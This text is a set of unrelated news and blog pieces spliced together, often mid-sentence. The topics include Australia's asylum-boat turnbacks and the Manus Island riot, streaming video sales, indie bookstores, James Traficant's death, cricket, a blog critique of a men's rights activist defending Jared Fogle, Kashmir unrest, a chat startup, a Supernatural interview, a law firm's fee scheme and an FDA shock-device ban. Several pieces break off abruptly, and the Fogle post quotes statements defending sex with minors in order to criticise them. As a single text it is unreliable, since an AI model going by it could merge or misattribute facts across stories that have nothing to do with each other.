"I have come to the view that irrespective of issues of incursion into the Indonesian territorial sea, the act of towing a vessel into the Indonesian exclusive economic zone, whether that is the original asylum-seeker craft or whether it is a lifeboat, cannot be consistent with Australia exercising the right of freedom of navigation.
"The right of freedom of navigation exists generally within the exclusive economic zone in the high seas and it is a right available to all states."
"But the exercise of the right of the freedom of navigation with the intention of towing a vessel which is not otherwise incidental to the normal mode of operation of that vessel with the ultimate aim of that towing operation or escorting operation ceasing, and directing persons on board that vessel to go, presumably, to the Indonesian coast, I do not believe is consistent with the legitimate exercise of the right of freedom of navigation."
The fraught and complicated nature of turning back boats was highlighted when it emerged that Australian Naval and Customs vessels had entered Indonesian waters six times under Operation Sovereign Borders.
Australia issued an apology to Indonesia and provided an internal review explaining how the incursions happened to the Indonesian government.
In response to the incursions, Indonesia issued a strongly worded statement calling on the Australian Government to cease any operations that led to the incidents.
In mid-February, foreign minister Marty Natalegawa reiterated Indonesia's anger at the Coalition's turn-back policy in a protest message given to the Australian ambassador in Jakarta.
Dr Natalegawa told reporters that Indonesia does what it can to stop boats leaving the country and Australia's actions were "against the values of humanity".
"In the past, they have turned back boats or pulled the refugees back to Indonesia. That alone is a violation against their international commitment under the Refugee Convention," he said.
"But this time [in using the lifeboats] it has escalated."
The full contents of the Australian review into the incursions were not made public, but a former two-star admiral who led Australia's Border Protection Command has provided an explanation of the error.
Rear Admiral James Goldrick, who retired in 2012, says the controversy resulted from officers on board the Australian ships making what is by Navy standards, a basic mistake.
Interactive: Incursion into Indonesian waters explained naval-borders
The standard maritime boundary extends 12 nautical miles (just over 22 kilometres) from land.
But for archipelagic states such as Indonesia a more complex baseline formula applies. This effectively results in everything inside the archipelago being territorial waters, regardless of distance from the coast.
Retired Rear Admiral James Goldrick, who previously led Australia's Border Protection Command, says this means Australian units should have ended towbacks of asylum seekers' boats outside that ring.
But Rear Admiral Goldrick says the drop-offs occurred inside the baseline ring, resulting in Navy and Customs ships erroneously entering Indonesian territorial waters - even though they never crossed the conventional 12 nautical mile boundary.
Rear Admiral Goldrick says the ships misinterpreted the maritime boundaries around Indonesia, by relying on the standard 12 nautical mile limit of territorial waters and failing to account for a complex formula that is applied when calculating the limit of archipelago nations such as Indonesia.
Charting a new course slide-table Border protection and the media www.abc.net.au/news/2014-03-25/herding-cats---embedding-and-osb/5343860 Mark Corcoran asks does embedding offer a way for the military and the media to peacefully co-exist on the troubled seas off northern Australia?
He dismisses speculation that the ships involved - Navy frigates Stuart and Parramatta and the Customs vessel Triton - may have inadvertently strayed off course, saying they knew where they were at all times, but adds the episode highlights shortcomings of Operation Sovereign Borders.
He expresses concern that Customs officers on board Customs service vessels supporting the Navy lack appropriate training for complex seagoing missions.
This is of particular importance in light of Customs' expanding maritime capabilities.
Rear Admiral Goldrick is also critical of the Navy; he says the problem was not the level of training but the judgment of officers involved.
He expects the Chief of Navy to now investigate "any lapses of professional conduct", echoing recommendations made by the internal review into the breaches.
Offshore processing
The Abbott Government's approach to the offshore processing of asylum seekers builds upon the structures put in place by previous Coalition and Labor governments.
After dismantling much of the Howard government's 'Pacific Solution', Labor - under prime ministers Julia Gillard and Kevin Rudd - spent the next four years re-implementing parts of it piece by piece.
When the Coalition came to power last year, it inherited not only the large Christmas Island detention centre but two recently re-opened offshore processing centres on PNG's Manus Island and the tiny Pacific nation of Nauru.
It immediately announced the expansion of both facilities, and the shifting of funding away from planned Australian-based detention centres, which had been announced under the previous government.
Interactive: Offshore Processing
Despite polling showing broad public support for offshore processing, the practice has a long history of criticism from human rights advocates. They label it cruel and unnecessary, citing a high incidence of mental health problems among current and former detainees, and research documenting the long-term detrimental impact of mandatory detention.
ABC Fact Check: Manus Island slide-table Who's responsible for Manus? https://www.abc.net.au/news/2014-02-27/who-is-responsible-for-asylum-seekers-detained-on-manus/5275598 Gillian Triggs is close to the mark when she says Australia is primarily responsible for people in detention on Manus Island.
The centres have been the site of numerous protests and self-harm attempts, detention centres have been likened to the US's Guantanamo Bay prison, and a Human Rights Commission inquiry recently heard children detained on Christmas Island describe it as hell.
The Coalition Government says offshore processing is justified if it helps stop asylum seekers attempting to arrive via boat, pointing to the deaths that have occurred over the past five years in the waters to the north of Australia.
Of the tiny Pacific islands selected by Australia for its offshore processing facilities, Manus Island was - until recently - the most obscure. However, it has since become a rallying point for portions of the population opposed to the policy.
Australia's presence on Manus, a 100-kilometre long island about 300 kilometres off the PNG mainland, stretches back to World War II, when Australian troops used it as an observation post.
In 2001, as part of the Howard government's 'Pacific Solution', a detention centre was built on the island. It was home to a solitary asylum seeker for several years, and then left unattended until the Labor government closed it in 2008.
The centre was re-opened in 2011, and in the final days of the Rudd government last year, Manus Island formed the centrepiece of its strategy to deal with asylum seekers.
Under the Regional Resettlement Agreement, asylum seekers arriving in Australia by boat would be sent to Nauru and Manus Island to be processed, before being offered resettlement in PNG if they were deemed to be genuine refugees.
After taking power, the Coalition continued plans to expand the centre, and on March 21, 2014 there were 1,310 asylum seekers in custody there.
Despite its isolation, and attempts by the Federal Government and the commercial contractors charged with running the centre to restrict the flow of information, a series of disturbing allegations emerged that painted a troubling picture of life inside the centre.
Fights between local police and PNG military personnel broke out, there was growing unrest amongst the asylum seeker population, and two G4S employees were fired after mocking an asylum seeker's self harm attempt on social media.
Unrest turns deadly
On February 16, PNG immigration officials reportedly told asylum seekers their only option for resettlement would be Papua New Guinea. This came a week after PNG's foreign minister told parliament the government had not decided whether to accept refugees for resettlement.
Hours after the meeting at the detention centre, riots began.
Tension came to a head the next evening when violence broke out as police and locals entered the centre.
While information is still coming to light about what unfolded next, the results were deadly: by the end of the night Iranian asylum seeker Reza Berati was dead, dozens of other asylum seekers had been injured and staff and asylum seekers had fled the centre.
Over the following days details about the unrest were slow to emerge. Mr Morrison initially said the violence happened only outside the centre, and appeared to lay blame at the feet of the asylum seekers involved in the protest.
"This is a tragedy, but this was a very dangerous situation where people decided to protest in a very violent way and to take themselves outside the centre and place themselves at great risk," he said immediately after the riot.
Mr Morrison later confirmed the violence that led to Mr Berati's death happened inside the centre's perimeter.
As more details emerged the Government announced three inquiries into the unrest, and is currently referring to these inquiries when requests to confirm new information are made.
But a series of firsthand accounts paint a picture of what one Australian G4S employee described as a "a frenzy of out-of-control violence", with the camp descending into chaos and expat G4S staff fleeing enraged locals.
Manus: The primary evidence slide-table Employee: 'Blood everywhere I looked' Detainee: 'Our lives are in danger' Leaked audio: 'Please don't kill me' The interpreter: 'I've seen too much' Staff guide: 'How can we feel safe here?' https://www.abc.net.au/news/2014-03-04/g4s-employee-contradicts-png-police-report-into-manus-riot/5295740 https://www.abc.net.au/news/2014-03-06/manus-staff-issued-guide-on-handling-asylum-seeker-questions/5303696 https://www.abc.net.au/news/2014-03-12/manus-island-audio/5316700 https://www.abc.net.au/news/2014-02-19/guards-attacked-asylum-seekers-with-sticks-and-iron-witness-says/5270640 https://www.abc.net.au/news/2014-03-06/manus-staff-issued-guide-on-handling-asylum-seeker-questions/5303696 An Australian G4S employee says PNG police stood back and allowed locals to break into the compound, did nothing to stop the beatings and in some cases took part in the fighting. A letter written by one of the detainees and smuggled out by an expat G4S employee gives an account of the unrest and highlights the hopelessness and despair felt by those held in the centre. Audio recordings made inside the Manus Island detention centre before and after the deadly violence last month give accounts of gunfire and tell of ongoing fears of further attacks. Iranian-Australian freelance interpreter Azita Bokan, who was contracted to work on Manus Island, described seeing detainees with horrific injuries after the deadly clashes. The contractor that provides physical and mental healthcare to the asylum seekers issued staff with a guide on dealing with questions about the detainees' fears for their personal safety, living conditions and human rights.
According to audio provided to the ABC by crime writer and UNICEF ambassador Tara Moss, who has been posting information online from sources on Manus Island, the protests leading up to the unrest were noisy but non-violent.
An Australian G4S employee told the ABC that staff, under attack from rock-throwing asylum seekers, asked to withdraw from the facility on the second night, and agreed to hand over security to PNG police.
The source says PNG police then fired five or six warning shots and stood back as enraged locals poured into the compound over a back fence.
He said local G4S employees and local contract staff were armed with machetes and makeshift weapons and went systematically through the compound from room to room assaulting asylum seekers. Detainees who hid in their rooms were assaulted, with some police joining in the violence.
A makeshift hospital was set up on a concrete wharf next to the floating accommodation block used by Australian detention centre staff, and there the eyewitness said blood pooled as asylum seekers were treated for serious injuries.
"Once they [locals] knocked people to the ground, they were stomping on their heads with their boots. A day later you could still see guards and staff and cleaners walking around with blood on their boots," he told the ABC.
While order was restored to the centre within hours, according to those on the ground the situation remains tense, with asylum seekers fearing any contact with locals.
UNHCR: Offshore detention slide-table 'Arbitrary detention settings' https://www.abc.net.au/news/2013-11-27/unhcr-report-on-nauru/5118588 UNHCR reports say the centres on Manus Island and Nauru appear designed to create conditions that pressure asylum seekers to return to their countries of origin.
As part of an inquiry the PNG government launched into the riots, with the permission of Justice David Cannings, ABC journalist Liam Fox was part of the first group of journalists allowed to tour the facility since it was re-opened.
He said damage from the deadly riots was clearly visible, with several broken glass panels in one of the dining rooms as well as bullet holes in the roof of an undercover area in one of the compounds.
"I've seen many shocking things as a journalist," Fox wrote. "The inside of the Manus detention centre is among the most confronting."
The fuse for the initial protests - the lack of information about the future of the 1,310 asylum seekers being held on Manus - remains unresolved.
During a recent visit to PNG, Mr Abbott - along with PNG prime minister Peter O'Neill - said the permanent resettlement of asylum seekers in PNG could begin within three months.
Mr O'Neill has indicated legislative changes will come before PNG's parliament in May and resettlement could begin soon after, but warns PNG will only re-settle some of any asylum seekers found to be refugees.
No other country in the region has currently agreed to offer residency to asylum seekers intercepted off Australia, though the Cambodian government has said Foreign Minister Julie Bishop raised the option of resettlement with it.
Declaring victory?
Immigration Minister Scott Morrison declares that Operation Sovereign Borders is working, and the Government has made "massive progress" in stopping the boats.
Mr Morrison says that since December 19, 2013, there have been no successful people-smuggling ventures to Australia.
"This operation is working," he told a parliamentary committee in January. "The boats are stopping."
In March, the Minister told his local newspaper, Sydney's St George and Sutherland Shire Leader, that the Government's policy was having a "devastating" impact on people smugglers' trade, and its actions were very popular with his local constituency.
"I get so much encouragement when I walk through Cronulla mall, go down the beach, or up to Miranda Fair," he said.
Despite vociferous opposition to the Coalition's tough border protection policies in some quarters, polling suggests most Australians think the Government is taking the right approach, or should be even tougher.
Smugglers' new strategies slide-table Smugglers offer discounts, try new routes https://www.abc.net.au/news/2014-03-24/people-smugglers-adapting-methods-to-combat-australian-policies/5342276 People smugglers in Indonesia are trying new strategies in response to Operation Sovereign Borders, including travelling along different routes, such as this journey of an asylum boat that came within 35 kilometres of Darwin. Discounts and multi-buys are also on offer.
"The decisions I have had to take obviously have moral burdens, but the decisions the previous government took, which led to 1,200 people dying at sea and 15,000 people who are still waiting in camps and other places offshore, not being given visas, and $11 billion in cost blowouts, that's their moral burden," Mr Morrison said.
There is evidence that people smugglers are adjusting their strategies in response to Australia's new approach, in particular offering much cheaper journeys.
Passengers from recent asylum boats that were turned back to Indonesia have told ABC News they paid between $1,000 and $2,500 per person for the voyage.
While this represents a massive discount on the up to $13,000 that was being charged just a couple of years ago, a cut-price offer is not the only thing that has changed in the smuggling trade.
The available evidence suggests smuggling networks are also trying out new routes and offering to keep sending people until they make it. They also appear to have called an end to the'safe-arrival or money-back' guarantees they had introduced in response to boat tragedies.
Other techniques that have been reported include one smuggling network getting real Australian visas from the embassy in Thailand to people on planes, and others considering using shipping containers to get people to Australia.
The ABC has already found evidence of shipping containers being used to get people from Thailand to Indonesia.
As smugglers adapt their business models, the man charged with running Operation Sovereign Borders has noted there are challenges ahead, especially with the end of the monsoon season looming - a time when the number of asylum seeker boats departing Indonesia tends to rise.
"I am not complacent. There is more to be done. People smugglers have not given up," Sovereign Borders chief General Campbell said in January.
"Australia is engaged in a contest of will and tactical action - one I am determined to win. However, it will only be after the monsoon season ends, around late March, that I will be able to be in a position to confidently offer an assessment of how the operation is going.
"Historically, the rate of boat arrivals has risen after the monsoon to what could be described as the 'business as usual level' for people smugglers."
Follow ABC News updates on asylum seekers
This is a snapshot of the first six months of Operation Sovereign Borders, first published on March 26, 2014.
For updates on asylum seekers and border protection, follow the ABC News story stream.
Credits
Incorporates reporting from George Roberts, Mark Solomons, Michael Brissenden and other ABC staffMonthly streaming subscription services like Netflix account for 94% of all paid online movie consumption.
NEW YORK (CNNMoney) -- U.S. movie buffs will pay to watch more movies online in 2012 than they will on physical video formats like DVD. That historic first marks a tipping point for Hollywood -- and its business model.
The stat comes a report that research firm IHS iSuppli released late Thursday. Online views, or paid "transactions," will hit 3.4 billion this year, compared with 2.4 billion for physical copies, according to IHS's forecast.
It's a big change from the figures IHS clocked last year. In 2011, physical videos easily stayed on top with 2.6 billion views, compared to 1.4 billion for online.
That's a 135% year-over-year increase for online video. IHS expects the trend to accelerate.
"2012 will be the final nail to the coffin on the old idea that consumers won't accept premium content distribution over the Internet," Dan Cryan, IHS's senior principal analyst of broadband and digital media, said in the report.
Streaming subscription services from Netflix (NFLX), Amazon (AMZN, Fortune 500) Prime and others helped propel online video to the No. 1 spot, accounting for 94% of all paid online movie consumption.
But it's not all bad news for good ol' physical videos. IHS says those formats will command 4.3 billion hours of viewing time this year, well above the 3.2 billion hours predicted for online videos.
And from a total revenue standpoint, discs steamroll their online counterparts. Physical formats will bring in $11.1 billion in revenue this year, while online views will generate just $1.7 billion.
That's because consumers will pay an average of just 51 cents for every movie watched online, IHS says, compared to $4.72 for physical videos.
IHS predicts that gap will persist for several years. By 2016, online will comprise 17% percent of video revenue, physical discs will represent 75%, and pay-TV video on demand will snag the remaining 8%, it projects.Print is dead? Long live print!
Amazon AMZN, +0.21% may have conquered the book-selling market long before it entered the grocery market, but word nerds are finding their way back to indie bookstores, despite massive discounts on Amazon Prime Day July 11.
Even as the internet superstore sinks its claws into America’s literary capital with its first brick and mortar Big Apple bookstore this spring, bookworms will tell you that paper books and the community around them are alive and kicking.
In the latest sign of the power of print, a spate of indie bookstores will enter the New York City area in the coming months, even as larger chains have exited. Labor Department data show that the number of bookstores nationwide declined by 12% from 2012 to last year, but the American Booksellers Association, an independent bookstores trade group, has seen membership grow by almost 13% in the five years leading up to 2016.
Indies are thriving because of Amazon, not in spite of the internet behemoth. This is a story of two different types of bookstores: one with vast inventory, low prices and algorithm-driven recommendations, and another that lures customers seeking tightly curated collections and a community of bookworms. “I’ve lived my whole life a few blocks from where I want to open,” says Noëlle Santos of the Lit Bar, an upcoming space in the Bronx, who relies on “casual conversation” and a women’s book club she founded for inventory suggestions.
“As the volume of books published increases, the importance of a bookseller that can recommend titles has never been greater,” says Oren Teicher, chief executive of the ABA.
Independent bookselling has never been particularly lucrative. Many bookstores stock their inventory at a 30% to 45% wholesale discount, but after expenses, that translates into a profit margin of 2% to 3% even for the cost-savvy, says Donna Garban, co-owner of Hoboken’s Little City Books. She also had help from book lovers along the way: A supportive landlord who desperately wanted to house a bookstore in her building, a bookseller who helped install bookcases at the shop and pro bono advice from more established businesses in town.
Many independent stores are finding homes in current literary deserts. Santos just launched a crowdfunding effort for The Lit Bar, which will be the only general purpose bookstore in the Bronx after Barnes and Noble shut there last year. A Kickstarter campaign raised $72,000 for the Queens Bookshop Initiative, likely to debut in a Kew Gardens location this spring for the borough’s second non-specialty bookstore. Greenlight Books opened a second set of doors in Brooklyn last November, and Little City Books is sui generis in Hoboken.
A younger generation of booksellers is also coming to the fore and buying out older proprietors. Left Bank Books, a used bookshop in Manhattan, will reopen later this year, and Tattered Cover in Denver has found new ownership. “Their energy and enthusiasm has been contagious for everyone else,” says Teicher.
Amazon’s physical stores provide a tech-forward but uniform retail experience, while brick-and-mortar indies offer quirkier services. The Lit Bar will sell wine in its literary-themed bar, which offers higher profit margins than books. Santos says she’ll make a fairly standard 40% profit margin on selling books, but will be marking up wine by around 200%; each glass will be priced at between $6 and $12. Meanwhile, The Queens store will sell “lovely crafted stationery and items like literature-themed tote bags and coffee mugs,” says Holly Nikodem, a co-founder.
The mutual bibliophilia of booksellers also transcends typical economic pressures, with co-operating instead of competing “This is the only business where your competitors want you to succeed,” says Garban, a former Goldman Sachs trader. For instance, when the Queens Bookshop Initiative announced its launch plans, the owner of the Astoria Bookshop, the sole non-specialty bookstore in Queens, promoted the news on Twitter.
“There are enough people who want independent bookstores to exist,” says Garban. “There’s a heart and soul in bookselling that doesn’t need disrupting.”Former Rep. James A. Traficant Jr. died Saturday as a result of a farming accident earlier in the week.
The Ohio Democrat in 2002 became only the fifth person in history to be expelled from the House, after he was convicted on federal bribery and racketeering charges. Three were kicked out for siding with the South during the Civil War.
Traficant was 73.
He was gravely injured Tuesday when a tractor flipped over on him at his family’s farm, near Youngstown, Ohio.
A family attorney said Traficant was taken off a respirator Friday, though he had been able to breathe on his own since being admitted to St. Elizabeth Medical Center, where he had remained unconscious and under sedation.
Traficant served 17 years in Congress.
Family attorney Heidi Hanni told FoxNews that Traficant died at about 11:30 a.m. Eastern time.
The House voted 420-1 to remove Traficant from Congress. The only nay vote came from then-Rep. Gary Condit, D-Calif., who was under scrutiny for having an affair with missing intern Chandra Levy who was later found dead.
Traficant refused to resign.
He was not an attorney, but he successfully defended himself against similar charges when he was the Mahoning County sheriff, in Ohio. The courtroom victory propelled Traficant to Congress in 1983. But the same legal strategy didn’t work for him in Washington.
Traficant was known for wearing polyester, bell-bottom suits in buttoned-up Washington. He kept an unruly mop of hair and sported bushy sideburns.
He often seized the House floor to defend U.S. protectionism and speak out against trade agreements, punctuating his speeches with the line “beam me up,” a nod to Star Trek.
During his Ethics Committee hearing, Traficant threatened to kick the panel’s counsel “in the crotch” on multiple occasions, prompting the chairman to demand he sit down.
Traficant had lived on his family farm in northeast Ohio since his release from prison in 2009.
Fox News' Chad Pergram and The Associated Press contributed to this report.For the rest of this summer England will use a variety of county coaches who have shown an interest in the job. Chris Silverwood, who is on the verge of leading Essex to the championship title, remains a strong contender for the position on a full time basis. “The position is very much open and we have got a bit of time and there's no point rushing,” said Bayliss indicating he will take time to make his first full time appointment to his backroom staff.
For now Bayliss has to work out his Ashes squad which will be announced close to England’s final game of the season at the Rose Bowl on Sept 29.
England are unlikely to spring any major surprises with Gary Ballance looking set to return to the squad for the Ashes after a broken finger and Surrey’s Ben Foakes to go as reserve wicketkeeper ahead of Jos Buttler for the Test leg of the tour.
Dawid Malan and Mark Stoneman have shown enough in their brief Test careers to date to stay in the set up but Haseeb Hameed, Tom Westley and Keaton Jennings all have a lot to play for in the final weeks of the county season.
When asked if he was clear on his Ashes squad Bayliss replied “not 100 percent”. He said: “The big question is whether the three guys (Malan, Stoneman and Westley) have done enough. I am sure they would have loved as much as we would for them to come out and make a couple of hundreds and then there's nothing to talk about but they have shown that they are good enough, but are they good enough for long enough? Are they tough enough especially for an Ashes series? We will be discussing other players that we have had in the team over the last 12-18 months will get a hearing but these three guys it will be hard to go past them.Yesterday, the official Subway Twitter account posted a carefully worded statement declaring the actions of the sandwich chain’s now infamous former spokesman Jared Fogle as “inexcusable,” and noting that the company had already severed ties with him.
It’s certainly no surprise that Subway wants to have nothing to do with Fogle, who “has agreed to plead guilty to one count of traveling to engage in illicit sexual conduct with a minor and one count of distribution and receipt of child pornography,” as CBSNews reports.
What was a little surprising was seeing some who responded to Subway’s tweet actually defending Fogle. And while some of the “defenders” were almost certainly trolls, Fogle’s most vociferous defender was completely sincere — and a self-described Men’s Rights activist.
The first to respond to Subway’s Tweet, he declared:
So who is this Holocaust21? On his website — it seems pretty clear he’s a “he” — he claims to stand for “Men’s Rights, Youth Rights, Sexual Rights.”
The “men’s right,” that is, to have sex with girls as young as 12. He thinks age of consent laws are a plot against men and that “feminist inspired paedohysteria, sexual offence & child protection legislation is leading to a holocaust of men.”
In a seemingly neverending stream of combative tweets, he has defended Fogle as “a good chap,” declared that there is “absolutely nothing wrong with banging teenage girls” and told one critic of his views that “[y]ou’re just jealous that #JaredFogle isn’t interested in fat old hags like you.”
As he sees it, he explained over the course of two Tweets,
Age of consent laws just make it easy to convict innocent ppl, to exert rigid social control on normal behaviours
Here are some of his other thoughts:
While Holocaust21 is clearly on the fringes of the Men’s Rights movement, he’s not the only MRA obsessed with the alleged evils of the age of consent; the blogs Human Stupidity and The Antifeminist have staked out similar positions.
Tom Martin, one of the best-known MRAs in the UK, has argued that child prostitutes “exploit” pedophiles for money, and Judgy Bitch, A Voice for Men’s “social media director,” has described the teenage victims of the late Jimmy Savile, British “entertainer” and pedophile, as the real abusers.
You may also recall the gentleman who showed up at AVFM’s conference last year to support his pet project of lowering the age of consent to age 12. After first suggesting that the man, a registered sex offender named Albert Calabrese, was a plant sent to the conference by their enemies, the powers that be at AVFM relented, with head AVFMer Paul Elam suggesting that he wanted to run a video by Calebrese on the site.
And so it is not altogether shocking that Holocaust21’s blogroll includes not only Human Stupidity and The Antifeminist but Judgy Bitch and A Voice for Men. And that, if you look through his followers on Twitter, you will find a number of MRAs amongst them, including such familiar names as Tom Martin, Elvind Burge, former AVFM radio host Jack Barnes, as well as Mina Smith, the antifeminist sea lion who so tediously “debated” me the other day. (It’s a small world after all.)
Looking through Holocaust21’s timeline over the past few days, I see that he’s retweeted Roosh V, #GamerGate’s pet “journalist” Milo Yiannopoulos, and an anti-Semitic caricature of Anita Sarkeesian.
It’s a really small world.
Will any other MRAs embrace Fogle as a Men’s Rights martyr? I guess we’ll see.
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Like this: Like Loading...ON 8 JULY, INDIAN SECURITY FORCES killed the 21-year-old Hizbul Mujahideen commander Burhan Muzaffar Wani in Kashmir’s Anantnag district. Anger immediately erupted in the valley, and protestors took to the streets in their thousands, even in towns and villages that were usually unaffected by past agitations. Protestors blocked roads, imposed shutdowns, shouted anti-India slogans and pelted stones at security personnel who tried to restrain them.
When I travelled through Kashmir in July, most people I spoke to felt that Burhan’s killing was followed by a dramatic upsurge in the Kashmiri resistance movement. “He openly challenged the mighty Indian state,” a Kashmiri journalist told me. “No more hiding guns under the pheran. No more using pseudonyms. No more hiding behind a mask. That appealed to the people who have been suppressed under the fear of large-scale military presence.” Burhan, he added, “brought the discussion back to the dinner table.”
As in 2010, when the valley last witnessed protests of this scale, the Indian government responded with crushing force, deploying army and paramilitary personnel, who fired at protesters in several places across Kashmir. At the time this story went to press, 89 civilians had been killed, and more than 13,000 injured.Spotted in the TechCrunch Disrupt NY Startup Alley today was Twoople, a newly launched web and mobile chatting service that lets you give out a simple, memorable URL that allows anyone to start chatting with you on either web or mobile. The tool is especially useful for business owners, explains Twoople founder Patrick Arlia, as the unique URL provided can be added to an email signature or business card, for example, while a Twoople widget can even be embedded on a company website for customer service purposes.
It’s really simple to get started with Twoople: you just sign up on the website and create your personalized URL (e.g. twoople.com/johnsmith). Then you share the address however you wish – the same way you’d share your phone number or email. Those who want to chat with you don’t have to create an account, however. They can just go to the URL and start chatting.
The idea was born out of the founder’s frustrations with communicating today, we’re told. He prefers chatting, but thinks it’s an exclusive model. He thought it should be more inclusive.
The bootstrapped startup was only soft-launched a month ago, Arlia notes, and is still somewhat limited in functionality. For instance, one feature due out in a few weeks’ time would allow you to configure which hours you’re available to chat. That way, you’re not inundated with chats all the time, but instead could control whether you’re online or offline.
An HTML5-based mobile app built with Phonegap is also live now on both the iTunes App Store and Google Play.
To date, the startup has grown the service in the few weeks it’s been live to over 800 users who, in turn, have engaged with over 4,000 others on the Twoople platform. The longer-term plan is to make Twoople a freemium product, with paid service available for power users.When Amara decided to give Dean a gift at the end of season 11, she thought that bringing Dean and Sam’s mother Mary back to life would be the greatest thing she could do for him. After all, the boys spent their entire lives not knowing what it was like to have a mother after the yellow-eyed demon killed Mary when they were young.
However, having Mary back hasn’t been as seamless as originally hoped. Not only was she forced into an entirely new world that she doesn’t quite understand, but she was forced into a world where her husband is dead and her sons are fully grown men. And in the third episode since Mary’s return, fans watched as Mary tried to embrace the hunting world before finally telling her boys that she needs some time alone to mourn the loss of John, as well as the loss of her sons as she knew them. Just like that, she left the bunker — and her boys — behind.
EW sat down with Supernatural stars Jared Padalecki and Jensen Ackles, where they discussed how Sam and Dean will be affected by Mary’s decision to leave:
JARED PADALECKI: Sam is much more studious about the situation. Sam kind of goes introverted for a second and says, “Okay why did she feel this way? Why did this happen?” Where, one of the funniest things about Supernatural is playing opposites. Dean, he wants to be handsome…
JENSEN ACKLES: I’m sorry, wants to be handsome?
PADALECKI: Let me finish, let me finish.
ACKLES: Please do…
PADALECKI: Hey, this is my answer. [Laughs] He’s the Han Solo. He’s got the fast car and the guns and he’s a badass but he has this emotion that, at the weirdest times, comes out. Whereas Sam, who is more seemingly emotional on the outside, goes like, “Here’s a time where I would be emotional, why am I doing it?” It’s a wonderful mirror image of life where you see these people that are happy-go-lucky and fun, and then something happens and they get hurt by it. And vice versa, you see somebody who’s stoic and then they seemingly overreact. But we see Sam take the academic approach and Dean go like, “This is my mom, man.” It’s a position that Sam and Dean haven’t been in yet.
ACKLES: And I think you saw a lot of that last year with the conversation with Chuck when Chuck came back. You saw Sam looking at it from an educational standpoint like, “I have so many questions.” And then you cut to Dean and he’s like, “Oh I have some questions. |
: Women’s bodies exist as objects for male consumption
Example: porn, BDSM culture
Rule #3: Female bodies exist as male property
Example: child brides, most traditional marriages
Rule #4: Women’s opinions do not matter, men know better.
Example: people asking specifically for a male opinion
Rule #5: All great achievements come from men.
Example: erasing women’s contributions from history
Rule #6: Male bodies and brains are inherently superior
Example: men’s vs. women’s sports, women in science
Rule #7: Sexuality is for men and is male centric
Example: ignoring the clitoris, lesbophobia
Rule #8: Women’s labor exists to serve men
Example: free labor in the home performed by women
Rule #9: Men must always be considered first and foremost
Example: anything women-only is considered offensive
Rule #10: Men must be the ones to control human reproductionLaw firm Adlawgroup abandons plan to charge $22,000 for job as junior lawyer
Posted
A law firm that came under fire for offering two-year work placements to law students if they paid them $22,000 has decided not to proceed with the project.
WBH Legal put plans for its new Adelaide-based firm, Adlawgroup, on hold in September 2015, after law students said the company was exploitative.
WBH Legal said at the time it was responding to an oversupply of law graduates who were desperate to find work.
It postponed the program "pending further analysis and engagement with the Law Society of South Australia (LSSA)".
"In particular, the firm was working to address the proposed fee for participation in the two-year Getting Started in Law program," it said.
In a statement released this week, WBH Legal said the firm would not be established despite a number of options having being explored.
"However, the concept is not economically viable without asking the participating new lawyers to invest in their own futures," WBH Legal said.
"While there were a significant number of applicants willing to pay the participation fee, the partners recognise that this carried the unpalatable consequence of creating an elitist solution to the fundamental problem of too many graduate and too few opportunities in law."
WBH Legal said its program did not address demand for legal services by people who had been "traditionally unable or reluctant, to seek professional legal advice and are therefore denied access to justice by circumstance".
WBH Legal said it had been more than a year since it put its proposed business model to the LSSA and still had "not received a response".
The Fair Work Ombudsman said it contacted the Adlawgroup in June 2015 in relation to "proposed employment models that involve charging new employees large upfront fees".
Law society welcomes Adlawgroup backdown
Law Society of SA president David Caruso said the backdown was good news.
"There was a benevolent motivation behind it, to try and find work for young people who are starting to find new careers," he said.
"The Law Society for a long time had concerns about the way in which that legal practice was to be operated, and the potential for young people to be brought into their careers on an uneven first step into their time in the law."
A Fair Work Ombudsman spokesperson said Adlawgroup was contacted in June 2015 in relation to "concerns about proposed employment models".
She said the company advised that it had not employed any employees under the model.
The spokesperson said the company was advised to seek legal advice before implementing any such model.
"The Fair Work Ombudsman has not received any requests for assistance from workers in relation to the matter," she said.
Topics: law-crime-and-justice, education, unemployment, adelaide-5000, saBy Heather Vogell, ProPublica
Federal officials have moved to ban the controversial electric shock device a Boston-area group home and school has used for decades on its disabled clients.
In a 124-page document proposing the ban, the Food and Drug Administration accused The Judge Rotenberg Center of underreporting adverse effects from the device, using flawed studies to defend its approach, and misleading families about alternative treatments.
“FDA has determined that these devices present an unreasonable and substantial risk of illness or injury that cannot be corrected or eliminated by labeling,” the agency wrote.
The Rotenberg Center is the only place in the country to still employ such a device, which delivers a painful shock to residents’ skin when they engage in undesirable or dangerous behaviors. Currently, 56 of the center’s 251 residents can receive the shocks.
The method has been widely condemned as inhumane. State officials in New York and Massachusetts for years have tried to force the center to abandon using shocks as multiple complaints about them surfaced. In 2014, ProPublica also revealed that New York officials found the center had tied down children with leg and waist straps to punish them
The FDA held a meeting two years ago on the center’s use of electrical stimulation devices on clients with developmental or intellectual disabilities. After the session, the agency went silent. Advocates accused it of failing to act in the face of residents’ suffering.
Then, late last week, the FDA revealed that it was seeking an outright ban on the devices.
The devices can cause both physical and psychological harm, the agency wrote, including risks of pain, burns, tissue damage, depression, fear and aggression. They may even have led a resident to enter a catatonic state, the agency said. The shocks can worsen the symptoms it purportedly treats.
According to New York officials cited in the FDA report, one student subjected to the shocks described living at the center like this: “I am scared and sometimes I feel like my life is in danger. There are days when I am scared to even say a word to anyone. I am afraid to wake up because I never know what is going to happen to me… I get so depressed here I wish my life by fast.”
The center has long argued the shocks keep clients from hurting themselves or others and it reiterated that sentiment in response to the FDA’s proposal. Patients’ families have been among the most outspoken proponents of the approach.
While declining to comment on the proposed ban itself — saying it had not received notification from the FDA — the center said it used the devices only for extremely difficult cases after other therapies had failed.
“The JRC staff is committed to finding the best ways to manage these students’ behaviors to a level where they are no longer causing severe injury and pain to themselves, so that they can learn and spend quality time with their family and friends,” the nonprofit center said in a statement released by a spokesman.
No one age 18 or under is currently eligible to be shocked, the center said.
Some parents of center residents have advocated strongly for the shock method, saying they fear their loved ones could maim themselves or others without it. Some have said the shocks have been the only therapy that has allowed their child to lead a somewhat normal life.
But the FDA questioned the center’s claim that other therapies had been exhausted for all residents subjected to the shocks. Several residents who used to be shocked have since successfully been transitioned to positive-based programs elsewhere, the agency said.
“FDA has reason to believe at least some of these family members were pressured into choosing” shock, the agency wrote, “and FDA questions whether these family members were provided with full and accurate information regarding the risks and benefits of (shock) and alternative treatment options, and whether all other options were adequately attempted.”
In proposing the ban, the FDA inserted itself into a once-heated debate over whether so-called “aversive,” or punishment-based, therapy works.
